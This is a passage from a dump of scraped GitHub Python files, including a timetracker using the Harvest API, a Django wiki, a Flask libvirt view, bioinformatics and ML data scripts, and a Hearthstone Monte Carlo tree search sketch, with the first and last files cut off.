L = torch.cholesky(k_xx)\n a0, _ = torch.lstsq(self.y, L)\n alpha, _ = torch.lstsq(a0, L.T)\n\n y_alpha = -0.5 * self.y * alpha.view_as(self.y)\n trace_log = torch.trace(torch.log(L))\n const = 0.5 * len(self.x) * np.log(2 * np.pi)\n\n ll = y_alpha - trace_log - const\n\n return ll.sum()\n","repo_name":"danielkelshaw/GPyBO","sub_path":"gpybo/gp.py","file_name":"gp.py","file_ext":"py","file_size_in_byte":6518,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"2247946505","text":"\"\"\"\nSmallest Difference: Given two arrays of integers, compute the pair of values (one value in each\narray) with the smallest (non-negative) difference. Return the difference.\nEXAMPLE\nInput: {1, 3, 15, 11, 2}, {23, 127,235, 19, 8}\nOutput: 3. That is, the pair (11, 8). \n\nThe obvious approach is to iterate through each element\nCould be optimised by terminating early if difference is zero\n\nA better approach:\n1) sort both arrays\n2) let array 1 be a and array 2 be b\n3) then each element in array a is a_i and in b - b_i\n4) compute a_i - b_i and store difference\n5) if a_i - b_i > 0 then compute a_i - b_{i+1}\n6) else compute a_{i+1} - b_{i+1}\n\"\"\"\n\ndef compute_smallest_difference(arr1, arr2):\n\tarr1.sort()\n\tarr2.sort()\n\n\tsmallest_difference = max(arr1[-1], arr2[-1]) # maximum possible difference\n\ti = 0\n\tj = 0\n\n\twhile i < len(arr1) and j < len(arr2):\n\t\tdifference = abs(arr1[i] - arr2[j])\n\t\tif difference == 0: # early termination\n\t\t\treturn 0\n\t\tsmallest_difference = min(smallest_difference, difference)\n\n\t\tif arr1[i] < arr2[j]:\n\t\t\ti += 1\n\t\telse:\n\t\t\tj += 1\n\treturn smallest_difference\n\n\narr1 = [1, 3, 15, 11, 2]\narr2 = [23, 127,235, 19, 8]\n\nprint(compute_smallest_difference(arr1, arr2))\n\narr1 = [1, 3, 15, 11, 2, 23]\narr2 = [23, 127,235, 19, 8]\n\nprint(compute_smallest_difference(arr1, arr2))","repo_name":"NikolayWalters/codeChallenges","sub_path":"smallestDifference.py","file_name":"smallestDifference.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34055679346","text":"import sys\n\ndef returnInsights (session_logs):\n\n insights = {\n \"notifications\" : None,\n \"device_model\": None\n }\n\n notifications_none = \"Notifications - None\"\n notifications_alert = \"Notifications - Alert\"\n notifications_badge = \"Notifications - Badge\"\n notifications_sound = \"Notifications - Sound\"\n notifications_content = \"Notifications - ContentAvailability\"\n\n device_model_4 = \"iPhone 4\"\n device_model_5 = \"iPhone >= 5\"\n\n for log in session_logs[\"messages\"]:\n\n # notifications\n if notifications_none in log:\n insights[\"notifications\"] = \"Off\"\n\n elif notifications_alert in log:\n insights[\"notifications\"] = \"Alert\"\n\n elif any(str in log for str in [notifications_badge, notifications_sound, notifications_content]):\n insights[\"notifications\"] = \"Other\"\n\n # device\n if device_model_4 in log:\n insights[\"device_model\"] = \"iPhone 4\"\n\n elif device_model_5 in log:\n insights[\"device_model\"] = \"iPhone 5+\"\n\n return insights \n \n","repo_name":"SamvitJ/LinkMeUp-Analytics","sub_path":"analyze_session.py","file_name":"analyze_session.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7380568550","text":"#!/usr/bin/python\nimport calendar\nimport json\nimport os\nimport sys\nimport datetime\nfrom os.path import join\n\nimport requests as requests\n\n\nsalary_day_of_month = int(os.environ.get('SALARY_DAY_OF_MONTH'))\nharvest_api_account_id = os.environ.get('HARVEST_API_ID')\nharvest_api_token = os.environ.get(\"HARVEST_API_BEARER\")\n\n\ndef add_months(source_date, months):\n month = source_date.month - 1 + months\n year = source_date.year + month // 12\n month = month % 12 + 1\n day = min(source_date.day, calendar.monthrange(year, month)[1])\n return datetime.date(year, month, day, )\n\n\ndef get_days_until_salary():\n return (get_next_salary_date() - datetime.date.today()).days\n\n\ndef get_next_salary_date():\n current_date = datetime.date.today()\n\n if current_date.day < salary_day_of_month:\n salary_date = current_date + datetime.timedelta(days=(salary_day_of_month - current_date.day))\n else:\n salary_date = add_months(current_date, 1) - datetime.timedelta(days=(current_date.day - salary_day_of_month))\n\n salary_date_weekday = salary_date.isoweekday()\n\n # If salary date is on Saturday, salary is due on Friday\n # If salary date is on Sunday, salary is due on Monday\n if salary_date_weekday == 6:\n return salary_date - datetime.timedelta(days=1)\n elif salary_date_weekday == 7:\n return salary_date + datetime.timedelta(days=1)\n else:\n return salary_date\n\n\ndef get_tracked_time():\n if not harvest_api_account_id or not harvest_api_token:\n print('You need to provide valid harvest credentials in the .env file!', file=sys.stderr)\n exit(1)\n\n if os.environ.get('ENV', 'prod') == 'prod':\n headers = {\n 'Harvest-Account-ID': harvest_api_account_id,\n 'Authorization': f'Bearer {harvest_api_token}',\n 'User-Agent': 'TimeChecker'\n }\n\n page = 1\n data = request_time_entries(page=page, headers=headers)\n entries = data.get('time_entries', [])\n while int(data.get('total_pages')) > page:\n page += 1\n data = request_time_entries(page=page, headers=headers)\n entries = entries + data.get('time_entries', [])\n\n # write current data into json file\n # open(join('..', 'data', 'time_entries.json'), 'w+').write(json.dumps(entries))\n return entries\n return json.loads(open(join('..', 'data', 'time_entries.json'), 'r+').read())\n\n\ndef parse_work_quota_dates(work_quota_dates):\n if not work_quota_dates:\n print('You must add the date you started to work and you work quota to .env!', file=sys.stderr)\n print('Example: WORK_QUOTA_DATES=\"2018-09-01:70%;2019-02-01:80%\"', file=sys.stderr)\n exit(1)\n\n try:\n parsed_work_quota_dates = {\n parse_iso_date(date_quota.split(':')[0].strip()): float(date_quota.split(':')[1].strip())\n for date_quota\n in work_quota_dates.strip().strip(';').split(';')\n }\n return parsed_work_quota_dates\n except TypeError:\n print(f'Invalid work quota format: \"{work_quota_dates}\"')\n exit(1)\n\n\ndef is_business_day(day):\n return day.isoweekday() not in [6, 7]\n\n\ndef calculate(time_entries, work_quota_dates):\n work_quota_index = 0\n working_day_hours = float(os.environ.get('WORK_DAY_HOURS', 8.4))\n quota_change_dates = sorted(work_quota_dates.keys())\n current_quota_start_date = quota_change_dates[work_quota_index]\n current_quota = work_quota_dates[current_quota_start_date]\n\n check_work_quota_exists(current_quota_start_date, time_entries[-1])\n\n seconds_should_work = 0\n\n current_work_day = current_quota_start_date\n working_days_total = 0\n\n while current_work_day <= datetime.datetime.today():\n\n # Check if work quota is up-to-date\n while work_quota_index < len(quota_change_dates) - 1 and current_work_day >= quota_change_dates[work_quota_index + 1]:\n work_quota_index += 1\n current_quota_start_date = quota_change_dates[work_quota_index]\n current_quota = work_quota_dates[current_quota_start_date]\n\n if is_business_day(current_work_day):\n working_days_total += 1\n seconds_should_work += working_day_hours * 3600 * current_quota\n\n current_work_day += datetime.timedelta(days=1)\n\n time_entries_until_today = [\n time_entry\n for time_entry\n in time_entries\n if parse_iso_date(time_entry['spent_date']) <= datetime.datetime.today()\n ]\n\n seconds_did_work = sum([entry['hours'] for entry in time_entries_until_today]) * 3600\n delta_seconds = seconds_should_work - seconds_did_work\n delta_hours = round(delta_seconds / 3600, 2)\n compensation_in_days = round(delta_hours / working_day_hours, 2)\n days_until_salary = get_days_until_salary()\n\n print(f'â�± Your current contract: {working_day_hours * 5 * current_quota}h / week ({current_quota * 100}%)')\n print(f'💰 You sold {int(round(seconds_did_work / 3600, 0))}h of your time working at your current job 🤔')\n compensation_type = '🛑 Undertime' if delta_hours > 0 else '✅ Overtime'\n print(f'{compensation_type}: {abs(delta_hours)}h ({abs(compensation_in_days)} working days)')\n print(f'💸 {days_until_salary} day{\"s\" if days_until_salary != 1 else \"\"} until next salary {get_next_salary_date().strftime(\"%d.%m.%Y\")}')\n\n\ndef check_work_quota_exists(earliest_quota_date, first_work_day_entry):\n first_work_day = parse_iso_date(first_work_day_entry['spent_date'])\n if first_work_day < earliest_quota_date:\n print(f'You worked on the {to_human_date(first_work_day)}', file=sys.stderr)\n print(f'But your earliest provided work quota date is: {to_human_date(earliest_quota_date)}', file=sys.stderr)\n exit(1)\n\n\ndef parse_iso_date(date):\n return datetime.datetime.strptime(date, '%Y-%m-%d')\n\n\ndef to_human_date(date):\n return datetime.datetime.strftime(date, '%d.%m.%Y')\n\n\ndef request_time_entries(page=1, headers=None):\n if headers is None:\n headers = {}\n\n return json.loads(\n requests.get(\n url='https://api.harvestapp.com/api/v2/time_entries',\n params={'page': page},\n headers=headers\n ).content\n )\n\n\nif __name__ == '__main__':\n calculate(\n get_tracked_time(),\n parse_work_quota_dates(os.environ.get('WORK_QUOTA_DATES', None))\n )\n","repo_name":"emazzotta/timetracker","sub_path":"src/timetracker.py","file_name":"timetracker.py","file_ext":"py","file_size_in_byte":6392,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"10408166330","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom flask import current_app, render_template, abort, request, make_response, flash, redirect, url_for, json\nfrom flask_login import current_user, login_required\nfrom . import module\nfrom .host_ctrl import VirtHost\n\nprotocol = [\"ssh\", \"libssh2\", \"qemu\"]\nhost = {\n \"connection\" : \"10.32.151.250:60022\",\n \"protocol\" : \"ssh\",\n \"username\" : \"root\",\n \"password\" : \"password\",\n \"key\" : None\n}\n \n@module.route(\"/\")\ndef index():\n vhost = VirtHost(host)\n status = vhost.connect()\n if status is False:\n return \"NO CONNECT !!!!\", 200\n domains = vhost.listAllDomains()\n res = []\n for domain in domains:\n res.append({ \"name\": domain.name(), \"uuid\": domain.UUIDString(), \"state\": domain.isActive()})\n return render_template(\"/virt_mgr/index.html\", all_domains = res)\n","repo_name":"johnyin123/private_documents","sub_path":"flask/blueprints/virt_mgr/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"36969043494","text":"import numpy as np\nimport scipy as sp\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport math as m\n\n\npoints = np.array([[0, 0],[1, 1],[2, 0], [3, -1],[4, 0],[5, 1],[4, 2],[3, 3],[2, 3],[1, 2],[0, 1],[0, 0]])\npoints = points*10\nr = 2.0\nl = 5.0\ndt = 0.01\nTend = 6.0\nN = int(Tend/dt)\n\nxend = 0\nyend = 0\nv = 10.0\nk1 = 5.0\nk2 = 0.2\n\nx = np.zeros(N)\ny = np.zeros(N)\nth = np.zeros(N)\n\nj=0\ni= 0\nfor i in range(len(points)):\n xend = points[j,0]\n yend = points[j,1]\n xerr = xend-x\n yerr = yend-y\n\n while(i 10000):\n break\n\n w1 = w + k1*th_err\n w2 = w - k1*th_err\n if (d<5.0):\n w1, w2 = k2*d*(w + k1*th_err), k2*d*(w - k1*th_err)\n\n # v = (r*dt/2.0)*(w1+w2)\n dx = (r*dt/2.0)*(w1+w2)*np.cos(th[i])\n dy = (r*dt/2.0)*(w1+w2)*np.sin(th[i])\n # print(\"dx: \", dx, \"dy: \", dy)\n dth = (r*dt/(2.0*l))*(w1-w2)\n x[i+1] = x[i] + dx\n y[i+1] = y[i] + dy\n th[i+1] = th[i] + dth\n # print(\"theta: \", th[i])\n i = i+1\n\n j += 1\n\npointsX = points[:,0]\npointsY = points[:,1]\nplt.title('Point Tracking')\nplt.plot( x , y , label=\"Simulated Path\")\nplt.plot(pointsX, pointsY, 'o', color='red', label=\"Desired Points\")\nplt.show()\n\n\n# # initial conditions\n# x = 0\n# y = 0\n# theta = 0\n# vdot = 0\n#\n# Kp = 0.2 #proportional gain\n# ts = 0.1 #time step\n#\n# for i in range(len(points)):\n# xerr = points[i,0]-x\n# yerr = points[i,1]-y\n#\n# while(xerr > 0.05 and yerr > 0.05):\n# # find angle error\n# xerr = points[i,0]-x\n# yerr = points[i,1]-y\n#\n# v1 = complex(xerr, yerr)\n#\n# thetaDesired = np.angle(v1, deg=1)\n# thetaErr = thetaDesired - theta\n#\n# print(thetaDesired, \" \", thetaErr, \" \", theta)\n#\n# # update angle\n# theta = theta + Kp*thetaErr*ts\n#\n# # update velocity\n# xcomp = vdot*np.cos(theta)\n# ycomp = vdot*np.sin(theta)\n# vcurr = complex(xcomp,ycomp)\n# vdesired = np.vdot(v1, vcurr)\n# vdot = vdot + Kp*vdesired*ts\n#\n# # update position\n# x = x + Kp*vdot*np.cos(theta)*ts\n# y = y + Kp*vdot*np.sin(theta)*ts\n#\n# # print(x,\" \",y)\n#\n# print(\"point reached\")\n","repo_name":"HowCatIfDog/School","sub_path":"intro to robotics/HW5/p10-1.py","file_name":"p10-1.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14551584089","text":"from sys import stdin\ni = 0\nfor line in stdin:\n if(i == 0):\n n = int(line)\n i = 1\n elif(i == 1):\n i = 2\n dps = list(line.split())\n else:\n vida = list(line.split())\n orden = []\n for i in range(n):\n orden.insert(len(orden),{'dps': int(dps[i]), 'vida': int(vida[i])})\n \n suma = 0\n k = 0\n for i in range(n):\n k+= orden[i]['vida'] \n suma+= k*orden[i]['dps']\n \n print(suma)\n i = 0","repo_name":"ivanalejandro2002/Competitive-Programming","sub_path":"Lenguaje/Coding Rush/CR 4/3/B_CR_El_ataque_de_los_zombies.py","file_name":"B_CR_El_ataque_de_los_zombies.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27753883595","text":"from torch.utils.data import Dataset, DataLoader\nimport torch\nimport numpy as np\n\nclass adni_loader(Dataset):\n \"\"\"ADNI data loader\"\"\"\n\n def __init__(self, dataset):\n net = []\n for i in range(len(dataset[\"adjacency_matrix\"])):\n net.append(self.process_adj_mat(dataset[\"adjacency_matrix\"][i]))\n self.network = torch.from_numpy(np.array(net)).float()\n self.label = torch.from_numpy(np.array(dataset[\"dx_label\"]))\n self.thck = torch.from_numpy(np.array(dataset[\"node_feature\"])).float()\n\n def __len__(self):\n return len(self.label)\n\n def __getitem__(self, idx):\n sample = {\"network\" : self.network[idx], \"thck\" : self.thck[idx, :, 2], \"label\": self.label[idx]}\n return sample\n\n def process_adj_mat(self, A):\n B = []\n for i in range(len(A)):\n B = B + list(A[i, i+1:len(A)].flatten())\n return np.array(B)\n\n\ndef get_adni_loader(dataset, batch_size):\n dataset = adni_loader(dataset)\n dataloader = DataLoader(dataset, batch_size=batch_size,\n shuffle=True, num_workers=batch_size)\n return dataloader\n\n","repo_name":"mturja-vf-ic-bd/AD-Longitudinal-Smoothing","sub_path":"Subnetwork_mining/Dang/ADNI_loader.py","file_name":"ADNI_loader.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"20517105715","text":"#!/usr/bin/python\nfrom __future__ import print_function\nimport argparse\nimport subprocess\nimport os\nimport sys\n\ndef options():\n parser = argparse.ArgumentParser(description=\"Map ATAC-seq reads with bowtie\")\n parser.add_argument(\"nThreads\", help=\"Number of threads to use for bowtie\")\n parser.add_argument(\"input_file\", help=\"Read file to be mapped with bowtie\")\n parser.add_argument(\"out_file_dir\", help=\"Directory for output file (directory for the sam files)\")\n parser.add_argument(\"basepre\", help=\"Base prefix for output file (Everything before .sam)\")\n parser.add_argument(\"-i\", \"--indices\",\n default=\"/shares/tmockler_share/clizarraga/Brachypodium_distachyon/Phytozome/v3.1/assembly/indices/Bdistachyon_314_v3.0.hardmasked\",\n help=\"Directory of bowtie indices (default: Brachy)\")\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = options()\n # Getting the absolute path to file if relative path given.\n args.input_file = os.path.abspath(args.input_file)\n # Getting the directory name\n dirname = os.path.dirname(args.input_file)\n # Getting just the filename\n output_file = os.path.join(dirname, args.out_file_dir, args.basepre)\n print(output_file)\n indices = args.indices\n # Map reads to reference, convert to bam and sort via pipes.\n subprocess.call('echo \"bowtie alignment\" `date`')\n cmd = \"bowtie --chunkmbs 256 -p {0} -S -m 1 -X 2000 -t {1} {2} | samtools view - -bS | samtools sort - -o {3}.sorted.bam -O bam -T {2}.pre\" \\\n .format(args.nThreads, indices, args.input_file, output_file)\n print(\"Running cmd: \")\n print(cmd)\n subprocess.call(cmd, shell=True)\n # Indexing bam file.\n cmd = \"samtools index {0}.sorted.bam\".format(output_file)\n print(\"Running cmd: \")\n print(cmd)\n subprocess.call(cmd, shell=True)\n # Only mapped reads.\n cmd = \"samtools view -b -F 4 -o {0}.sorted.mapped.bam {0}.sorted.bam\".format(output_file)\n print(\"Running cmd: \")\n print(cmd)\n subprocess.call(cmd, shell=True)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"calizarr/PyATAC","sub_path":"map_reads.py","file_name":"map_reads.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17479280646","text":"# -*- coding: utf-8 -*-\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\nfrom django.core.urlresolvers import reverse\nfrom django.core.mail import send_mail\nfrom django.core.cache import cache\nfrom django.utils.translation import ugettext\nfrom django.utils.timezone import utc\nfrom django.conf import settings\n\nfrom urllib import unquote\n\nfrom pompadour_wiki.apps.utils.decorators import render_to, redirect_to\nfrom pompadour_wiki.apps.utils import urljoin, stripspecialchars\n\nfrom pompadour_wiki.apps.wiki.models import Wiki, WikiNotifier\nfrom pompadour_wiki.apps.wiki.forms import EditPageForm\n\nfrom pompadour_wiki.apps.lock.models import Lock\nfrom pompadour_wiki.apps.filemanager.models import Attachment\nfrom pompadour_wiki.apps.tagging.models import Tag\n\nfrom pompadour_wiki.apps.markdown import pompadourlinks\n\nimport markdown\nimport datetime\nimport os\n\ndef notify(wiki, user):\n \"\"\" Send email notification after a commit. \"\"\"\n\n if not settings.EMAIL_NOTIFY:\n return\n\n HEAD, HEADp = wiki.repo.log(limit=2)\n\n # Retrieve diff from cache\n key = u'diff_{0}_{1}'.format(HEADp.hex, HEAD.hex)\n\n if not cache.has_key(key):\n diff = wiki.repo.diff(HEADp.hex, HEAD.hex)\n\n cache.set(key, diff, cache.default_timeout)\n\n else:\n diff = cache.get(key)\n\n # Retrieve notifiers\n notifiers = [notifier.email for notifier in WikiNotifier.objects.filter(wiki=wiki)]\n\n # And send mail\n if notifiers:\n send_mail(u'[wiki/{0}] {1}'.format(wiki, HEAD.message), diff, user.email, notifiers, fail_silently=True)\n\n@login_required\n@render_to('wiki/view.html')\ndef view_page(request, wiki, path):\n path = stripspecialchars(path)\n\n w = get_object_or_404(Wiki, slug=wiki) \n\n if not path or w.repo.is_dir(path):\n return {'REDIRECT': urljoin(request.path, settings.WIKI_INDEX)}\n\n\n real_path = u'{0}.md'.format(path)\n\n # If the page doesn't exist, redirect user to an edit page\n if not w.repo.exists(real_path):\n return {'REDIRECT': reverse('edit-page', args=[wiki, path])}\n\n # Retrieve content from cache\n key = request.get_full_path()\n\n if not cache.has_key(key):\n # Generate markdown document\n extension = pompadourlinks.makeExtension([\n ('base_url', u'/wiki/{0}/'.format(wiki)),\n ('end_url', ''),\n ])\n\n md = markdown.Markdown(\n extensions = ['meta', 'codehilite', 'toc', extension],\n safe_mode = True\n )\n\n # Read content\n f = w.repo.open(real_path)\n content = f.read()\n f.close()\n\n name = real_path\n mimetype = w.repo.mimetype(real_path)\n\n f.close()\n\n content = md.convert(content.decode('utf-8'))\n meta = md.Meta\n\n cache.set(key, (content, name, mimetype, meta), cache.default_timeout)\n\n else:\n content, name, mimetype, meta = cache.get(key)\n\n # Retrieve diff history from cache\n key = u'diffs_{0}'.format(request.get_full_path())\n\n if not cache.has_key(key):\n diffs = w.repo.diffs(name=real_path, limit=-1)\n\n cache.set(key, diffs, cache.default_timeout)\n\n else:\n diffs = cache.get(key)\n\n return {'wiki': {\n 'name': os.path.splitext(name)[0],\n 'path': path,\n 'meta': meta,\n 'content': content,\n 'history': diffs,\n 'obj': w,\n 'tags': Tag.objects.filter(page=os.path.join(wiki, path)),\n 'attachments': Attachment.objects.filter(wiki=w, page=os.path.join(wiki, path)),\n 'urls': {\n 'edit': os.path.join(request.path, 'edit'),\n 'remove': os.path.join(request.path, 'remove'),\n },\n }}\n\n@login_required\n@render_to('wiki/edit.html')\ndef edit_page(request, wiki, path):\n path = stripspecialchars(path)\n\n locked = False\n\n # check if a lock exists\n try:\n lock = Lock.objects.get(path=request.path)\n\n if lock.user != request.user:\n # check if the lock exists since more than 30 minutes\n dt = datetime.datetime.utcnow().replace(tzinfo=utc) - lock.timestamp\n\n if dt.total_seconds() >= 30*60:\n # The lock has expired\n # Reset it to the current user\n\n lock.user = request.user\n lock.timestamp = datetime.datetime.utcnow().replace(tzinfo=utc)\n lock.save()\n else:\n locked = True\n\n except Lock.DoesNotExist:\n lock = Lock()\n lock.path = request.path\n lock.user = request.user\n lock.timestamp = datetime.datetime.utcnow().replace(tzinfo=utc)\n lock.save()\n\n w = get_object_or_404(Wiki, slug=wiki)\n name = ''\n\n # Save\n if request.method == 'POST':\n form = EditPageForm(request.POST)\n\n if form.is_valid():\n # Get path\n new_path = u'-'.join(form.cleaned_data['path'].split(u' '))\n new_fullpath = u'{0}.md'.format(new_path)\n\n # Generate commit message\n commit = form.cleaned_data['comment'].encode('utf-8') or ugettext(u'Update Wiki: {0}').format(path).encode('utf-8')\n\n # Open it, and write in\n f = w.repo.open(new_fullpath, mode='wb')\n f.write(form.cleaned_data['content'])\n f.close()\n\n # Finally, commit\n w.repo.commit(request.user, commit)\n\n # Then, notify by mail.\n notify(w, request.user)\n\n # Invalidate cache\n pageurl = unquote(reverse('view-page', args=[wiki, new_path])).decode('utf-8')\n\n if cache.has_key(pageurl):\n cache.delete(pageurl)\n\n key = u'diffs_{0}'.format(pageurl)\n\n if cache.has_key(key):\n cache.delete(key)\n\n cache.delete('LastEdits')\n\n # And redirect user\n return {'REDIRECT': pageurl}\n\n # Edit\n else:\n real_path = u'{0}.md'.format(path)\n \n if not w.repo.is_dir(path) and w.repo.exists(real_path):\n\n # Read content\n f = w.repo.open(real_path)\n content = f.read()\n f.close()\n\n form = EditPageForm({'path': path, 'content': content, 'comment': None})\n\n else:\n form = EditPageForm({'path': path})\n\n # Retrieve diff history from cache\n key = u'diffs_{0}'.format(reverse('view-page', args=[wiki, path]))\n\n if not cache.has_key(key):\n diffs = w.repo.diffs(name=path, limit=-1)\n\n cache.set(key, diffs, cache.default_timeout)\n\n else:\n diffs = cache.get(key)\n\n return {'wiki': {\n 'name': os.path.splitext(name)[0],\n 'path': path,\n 'locked': locked,\n 'lock': lock,\n 'obj': w,\n 'tags': Tag.objects.filter(page=os.path.join(wiki, path)),\n 'history': diffs,\n 'form': form,\n 'attachments': Attachment.objects.filter(wiki=w, page=os.path.join(wiki, path)),\n 'urls': {\n 'remove': reverse('remove-page', args=[wiki, path]),\n },\n }}\n\n@login_required\n@redirect_to(lambda wiki, path: reverse('view-page', args=[wiki, path]))\ndef remove_page(request, wiki, path):\n path = stripspecialchars(path)\n\n w = get_object_or_404(Wiki, slug=wiki)\n\n w.repo.delete(u'{0}.md'.format(path))\n w.repo.commit(request.user, ugettext(u'Update Wiki: {0} deleted'.format(path)).encode('utf-8'))\n\n # Remove attachements\n Attachment.objects.filter(wiki=w, page=os.path.join(wiki, path)).delete()\n\n # Invalidate cache\n\n pageurl = reverse('view-page', args=[wiki, path])\n\n if cache.has_key(pageurl):\n cache.delete(pageurl)\n\n key = u'diffs_{0}'.format(pageurl)\n\n if cache.has_key(key):\n cache.delete(key)\n\n cache.delete('LastEdits')\n\n return wiki, ''\n","repo_name":"9h37/pompadour-wiki","sub_path":"pompadour_wiki/pompadour_wiki/apps/wiki/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7999986956","text":"from dataclasses import fields\nfrom rest_framework import serializers\nfrom .models import QuizModel, ScoreModel\n\n\nclass QuizSerializer(serializers.ModelSerializer):\n \"\"\"\n Serializer to serialize fields from QuizModel\n Args:\n ModelSerializer\n \"\"\"\n user = serializers.ReadOnlyField(source='user.username')\n\n class Meta:\n model = QuizModel\n fields = ['id', 'user', 'question', 'answer',\n 'choices', 'discussion', 'isCounted']\n extra_kwargs = {\n 'answer': {'write_only': True},\n 'isCounted': {'read_only': True}\n }\n\n\nclass ScoreSerializer(serializers.ModelSerializer):\n class Meta:\n model = ScoreModel\n fields = ['total']\n","repo_name":"kris-slinger/api-quiz-app-django","sub_path":"quiz_app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34423310887","text":"import numpy as np\nimport random\nimport time\nimport math\nimport copy\nimport Gamestate\nimport Move\nimport HSCard\nrandom.seed(time.time())\n\n# Moves: [\"p\",card] or [\"a\",card,(card or hero)]\n#this should work\ndef listoflegalmoves(gamestate):\n #todo spells and other stupid shit\n listoflegalmoves = []\n for card in gamestate.Hand[gamestate.ActivePlayer]:\n if card.Cost <= gamestate.ManaCrystals[gamestate.ActivePlayer]:\n listoflegalmoves.append(Move.Move(\"p\",card))\n for card in gamestate.Board[gamestate.ActivePlayer]:\n if card.canAttack:\n for enemycard in gamestate.Board[gamestate.ActivePlayer * -1]:\n listoflegalmoves.append(Move.Move(\"a\",card,enemycard))\n # enemychampion\n listoflegalmoves.append(Move.Move(\"a\",card,gamestate.ActivePlayer*-1))\n # no move\n listoflegalmoves.append(Move.Move(\"end\"))\n #print(\"legallist\")\n #print(listoflegalmoves)\n #for card in gamestate.Hand[gamestate.ActivePlayer]:\n # print(card.Name)\n return listoflegalmoves\n\ndef checkEndGame(gamestate):\n if gamestate.Health[1] <= 0:\n return 1\n if gamestate.Health[-1] <= 0:\n return -1\n return 0\n\ndef checkIfRunning(gamestate):\n if gamestate.Health[1] <= 0:\n return False\n if gamestate.Health[-1] <= 0:\n return False\n return True\n\ndef simTurn(gamestate, move):\n\n movecards = copy.copy(move)\n\n if move.type == \"end\":\n gamestate.ActivePlayer *= -1\n gamestate.EmptyManaCrystals[gamestate.ActivePlayer] += 1\n gamestate.ManaCrystals = gamestate.EmptyManaCrystals\n #todo uncomment just for testing\n #gamestate.draw(gamestate.ActivePlayer)\n for card in gamestate.Board[gamestate.ActivePlayer]:\n card.canAttack = True\n for card in gamestate.Board[gamestate.ActivePlayer * -1]:\n card.canAttack = True\n elif move.type == \"p\":\n gamestate.ManaCrystals[gamestate.ActivePlayer] -= movecards.actioncard.Cost\n if len(gamestate.Board[gamestate.ActivePlayer]) < 7:\n gamestate.Board[gamestate.ActivePlayer].append(movecards.actioncard)\n i = -1\n b = -1\n for card in gamestate.Hand[gamestate.ActivePlayer]:\n i += 1\n if card == movecards.actioncard:\n b = i\n\n if b != -1:\n gamestate.Hand[gamestate.ActivePlayer].pop(b)\n elif move.type == \"a\":\n if movecards.target == 1 or movecards.target == -1:\n gamestate.Health[movecards.target] -= movecards.actioncard.Attack\n else:\n if movecards.actioncard.Health - movecards.target.Attack <= 0:\n #gamestate.Board[gamestate.ActivePlayer].remove(movecards.actioncard)\n\n i = -1\n b = -1\n for card in gamestate.Board[gamestate.ActivePlayer]:\n i += 1\n if card == movecards.actioncard:\n b = i\n\n if b != -1:\n gamestate.Board[gamestate.ActivePlayer].pop(b)\n if movecards.target.Health - movecards.actioncard.Attack <= 0:\n #gamestate.Board[gamestate.ActivePlayer * -1].remove(movecards.target)\n i = -1\n b = -1\n for card in gamestate.Board[gamestate.ActivePlayer]:\n i += 1\n if card == movecards.actioncard:\n b = i\n if b != -1:\n gamestate.Board[gamestate.ActivePlayer].pop(b)\n movecards.actioncard.Health -= movecards.target.Attack\n movecards.target.Health -= movecards.actioncard.Attack\n\ndef simGame(gamestatestart):\n gamestate = gamestatestart.clone()\n rounds = 0\n\n while checkEndGame(gamestate) == False and not (gamestate.Board == [[], [], []] and gamestate.Hand == [[], [], []]):\n\n\n legalMove = random.choice(listoflegalmoves(gamestate))\n\n simTurn(gamestate, legalMove)\n rounds += 1\n return checkEndGame(gamestate), rounds\n\n\nclass TreeNode:\n def __init__(self, gamestate):\n self.parent = None\n self.children = []\n self.NumGames = 0\n self.gamestate = gamestate\n self.move = [0, 0] # Move that led from parent to this gamestate.\n self.v = 0\n\n def hasChild(self):\n return len(self.children) > 0\n\n def addChild(self, child):\n self.children.append(child)\n child.parent = self\n\n def hasParent(self):\n return not self.parent == None\n\n def update(self, v):\n self.v += v\n self.NumGames += 1\n\ndef calcUCB1(Node):\n return Node.v / (1. * Node.NumGames) + math.sqrt(\n 30 * math.log(Node.parent.NumGames) / (1. * Node.NumGames)) if Node.NumGames > 0 else 99999999\n\n\ndef selectChild(RNode):\n i = 0\n theWinner = None\n for child in RNode.children:\n if calcUCB1(child) >= i:\n theWinner = child\n i = calcUCB1(child)\n return theWinner\n\n\ndef selectfinalChild(RNode):\n i = 0\n theWinner = None\n for child in RNode.children:\n if child.NumGames >= i:\n theWinner = child\n i = child.NumGames\n return theWinner\n\ndef FindMove(gamestate, N = 5000):\n root = TreeNode(gamestate)\n for simNumber in range(N):\n curNode = root\n while curNode.hasChild():\n curNode = selectChild(curNode)\n # if simNumber == 10:\n #print(listoflegalmoves(curNode.gamestate))\n for move in listoflegalmoves(curNode.gamestate):\n t = curNode.gamestate\n nextstate = copy.deepcopy(t)\n simTurn(nextstate, move)\n tempNode = 